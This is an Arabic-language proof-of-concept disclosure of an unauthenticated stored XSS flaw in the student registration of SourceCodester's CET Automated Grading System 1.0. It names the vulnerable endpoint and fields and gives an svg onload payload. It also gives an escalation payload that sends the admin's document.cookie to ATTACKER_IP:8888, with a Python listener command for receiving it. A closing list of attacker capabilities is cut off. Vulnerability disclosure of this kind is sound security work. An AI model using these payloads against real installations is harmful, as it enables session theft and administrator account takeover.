
إثبات مفهوم لثغرة XSS مخزنة في نظام التقدير الآلي CET من SourceCodester الإصدار 1.0، يوضح حقن حمولة دون مصادقة عبر تسجيل الطلاب مما يؤدي إلى اختطاف جلسة المسؤول.
| الحقل | القيمة |
|---|
| البائع | SourceCodester |
| رابط البائع | https://www.sourcecodester.com |
| المنتج | نظام التقييم الآلي CET مع التحليلات التنبؤية بالذكاء الاصطناعي في PHP وMySQL |
| رابط المنتج | https://www.sourcecodester.com/php/18686/cet-automated-grading-system-ai-predictive-analytics-php-and-mysql.html |
| الإصدار | 1.0 |
| الثغرة | البرمجة النصية عبر المواقع المخزنة (XSS) |
| CWE | CWE-79 |
| درجة CVSSv3 | 8.8 (عالية) |
| ناقل الهجوم | الشبكة |
| المصادقة المطلوبة | لا شيء (التسجيل الذاتي للطلاب عام) |
| الضحية | المسؤول |
| تفاعل المستخدم | مطلوب (يزور المسؤول لوحة التحكم) |
| الباحث | عماد علوي |
| التاريخ | 2026-04-13 |
الملف: PersonalAGS/index.php?action=register (تسجيل الطلاب)
المعلمات: student_id, full_name, section, username (POST)
يتم التشغيل عند: PersonalAGS/index.php?action=dashboard (لوحة تحكم المسؤول)
يفشل بوابة التسجيل الذاتي للطلاب في نظام التقييم الآلي CET الإصدار 1.0 في تعقيم أو ترميز مدخلات المستخدم قبل تخزينها في قاعدة البيانات. يمكن لمهاجم غير مصادق تسجيل حساب طالب مع حقن حمولات JavaScript في أي حقل تسجيل. يتم تخزين الحمولة الخبيثة في قاعدة البيانات وتنفيذها في متصفح أي مسؤول يزور لوحة التحكم حيث يتم عرض الطلاب المسجلين.
هذه سلسلة هجوم حرجة — لا تتطلب أي مصادقة لحقن الحمولة، لكنها تُنفذ في سياق مسؤول متميز، مما يتيح سرقة ملفات تعريف الارتباط للجلسة والاستيلاء الكامل على حساب المسؤول.
انتقل إلى صفحة التسجيل الذاتي العامة للطلاب:
http://localhost/cet-personalagms/PersonalAGS/index.php?action=register
املأ جميع الحقول بحمولات XSS وانقر على تسجيل الحساب:
"><svg onload=alert(1)>"><svg onload=alert(1)>"><svg onload=alert(1)>"><svg onload=alert(1)>
نجاح التسجيل — يتم تخزين الحمولات في قاعدة البيانات.
عندما يسجل المسؤول الدخول ويزور لوحة التحكم، يتم تنفيذ الحمولة المحقونة فورًا. تظهر نافذة التنبيه المنبثقة ويكون تخطيط الصفحة مكسورًا بشكل واضح بسبب HTML المحقون — مما يؤكد أن الحمولة تُعرض دون تعقيم في لوحة تحكم المسؤول.
تعكس عناوين أقسام لوحة التحكم أيضًا القيم المحقونة:
1ST YEAR - SECTION 1ST YEAR" ONMOUSEOVE3RD YEAR - SECTION " ONLOAD=ALERT(1) X=
يمكن للمهاجم تصعيد هذا إلى اختطاف كامل لجلسة المسؤول باستخدام الحمولة التالية في حقول التسجيل:
" onmouseover="new Image().src='http://ATTACKER_IP:8888/?c='+document.cookie" x="
قم بإعداد مستمع على جهاز المهاجم:
python3 -m http.server 8888
عندما يزور المسؤول لوحة التحكم، يتم إرسال ملف تعريف الارتباط الخاص بجلسته إلى خادم المهاجم، مما يتيح الاستيلاء الكامل على الحساب.
يمكن لمهاجم غير مصادق:
لا تتطلب أي مصادقة لحقن الحمولة. يتم تنفيذ الهجوم تلقائيًا عندما يزور أي مسؤول لوحة التحكم.